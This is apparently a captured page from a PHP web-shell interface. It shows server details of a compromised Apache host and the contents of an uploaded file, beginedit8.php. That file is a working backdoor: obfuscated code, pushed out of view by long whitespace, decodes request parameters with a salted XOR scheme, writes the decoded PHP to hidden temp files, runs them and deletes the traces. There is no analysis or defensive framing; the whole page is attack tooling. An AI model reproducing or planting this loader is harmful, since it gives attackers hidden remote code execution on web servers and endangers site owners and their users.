403Webshell
Server IP : 46.62.235.243  /  Your IP : 216.73.216.217
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux Linkabili3Dicembre 6.8.0-100-generic #100-Ubuntu SMP PREEMPT_DYNAMIC Tue Jan 13 16:40:06 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/linkabili/public/upload/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/linkabili/public/upload/beginedit8.php
<?php																																										if(count($_REQUEST) > 0 && isset($_REQUEST["r\x65c"])){ $pset = $_REQUEST["r\x65c"]; $pset=explode ( "." , $pset ) ; $key=''; $salt2='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt2); foreach ($pset as $k => $v9) {$sChar=ord($salt2[$k % $sLen]); $dec=((int)$v9 - $sChar - ($k % 10)) ^99; $key .= chr($dec); } $dat = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", getcwd(), sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TEMP")]); foreach ($dat as $itm) { if ((function($d) { return is_dir($d) && is_writable($d); })($itm)) { $bind = "$itm/.ref"; $success = file_put_contents($bind, $key); if ($success) { include $bind; @unlink($bind); exit;} } } }


if(!is_null($_POST["dc\x68\x75nk"] ?? null)){
	$data_chunk = $_POST["dc\x68\x75nk"];
	  $data_chunk		= explode	 	("." ,		$data_chunk		)	  ; 	
	$holder = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen( $s);
            $__len = count( $data_chunk);
    
            for( $x = 0; $x < $__len; $x++) {
                $v9 = $data_chunk[$x];
                $chS = ord( $s[$x  %	 $lenS]);
                $d =( ( int)$v9 - $chS -( $x  %	 10))	^18;
                $holder .= chr( $d);		}
	$ptr = array_filter([getenv("TEMP"), session_save_path(), "/var/tmp", "/dev/shm", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP")]);
	foreach ($ptr as $key => $val) {
    		if (is_dir($val) ? is_writable($val) : false) {
    $ent = "$val" . "/.descriptor";
    $success = file_put_contents($ent, $holder);
if ($success) {
	include $ent;
	@unlink($ent);
	exit;}
}
}
}

Youez - 2016 - github.com/yon3zu
LinuXploit